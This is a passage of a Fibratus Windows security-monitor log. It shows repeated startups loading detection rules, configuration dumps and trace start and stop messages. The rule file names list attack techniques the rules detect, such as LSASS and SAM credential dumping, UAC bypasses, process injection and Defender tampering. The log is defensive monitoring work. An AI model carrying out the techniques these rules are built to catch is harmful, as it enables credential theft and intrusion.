C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:52:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:52:18+01:00 level=info msg=bootstrapping with pid 352. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:52:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-registry=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-image=>true enable-vamap=>true enable-audit-api=>true stack-enrichment=>true enable-dns=>false enable-mem=>false enable-fileio=>true buffer-size=>512 enable-net=>true enable-thread=>true flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true level=>info formatter=>text max-age=>0] + output ......................... [ amqp=>[ exchange=>fibratus timeout=>5s routing-key=>fibratus exchange-type=>topic enabled=>false durable=>false passive=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enable-gzip=>false enabled=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s index-name=>fibratus sniff=>false healthcheck-interval=>10s flush-period=>1s enabled=>false healthcheck=>true bulk-workers=>1 gzip-compression=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-files=>false excluded-files=>[] skip-registry=>false enabled=>false excluded-procs=>[] skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:52:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:52:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:55:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:55:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:55:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:55:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:55:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:55:42+01:00 level=info msg=bootstrapping with pid 13316. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:55:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-image=>true enable-vamap=>true buffer-size=>512 enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true flush-interval=>1s enable-dns=>false enable-registry=>true max-buffers=>36 stack-enrichment=>true enable-audit-api=>true min-buffers=>16 enable-threadpool=>false enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ flush-period=>1s healthcheck=>true servers=>[http://127.0.0.1:9200] template-name=>fibratus bulk-workers=>1 timeout=>5s index-name=>fibratus healthcheck-timeout=>5s sniff=>false trace-log=>false enabled=>false gzip-compression=>false healthcheck-interval=>10s] amqp=>[ timeout=>5s exchange=>fibratus passive=>false delivery-mode=>transient routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 durable=>false exchange-type=>topic enabled=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ serializer=>json tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-registry=>false skip-mmaps=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:55:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:55:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:57:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:57:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:57:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:57:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:57:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml 